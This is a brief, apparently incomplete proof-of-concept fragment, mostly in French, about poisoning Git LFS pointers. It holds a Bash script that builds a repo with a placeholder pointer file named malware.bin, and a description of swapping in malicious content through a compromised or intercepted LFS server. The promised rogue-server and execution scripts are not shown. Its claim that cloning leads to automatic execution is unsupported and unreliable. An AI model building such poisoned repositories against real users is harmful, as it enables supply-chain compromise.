
Preuve de concept pour l'empoisonnement des pointeurs Git LFS, avec des scripts Bash et Python qui créent un dépôt malveillant, simulent un serveur LFS malveillant et déclenchent l'exécution de code.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
Un dépôt utilise Git LFS mais ne fixe pas le point de terminaison LFS ni ne vérifie les hachages des objets après le téléchargement. Un attaquant qui compromet le serveur LFS (ou peut se placer en homme du milieu) peut remplacer le fichier volumineux par un fichier malveillant, et le clone téléchargera automatiquement ce fichier et pourra l'exécuter.
bash create_malicious_repo.sh
# Then simulate rogue LFS server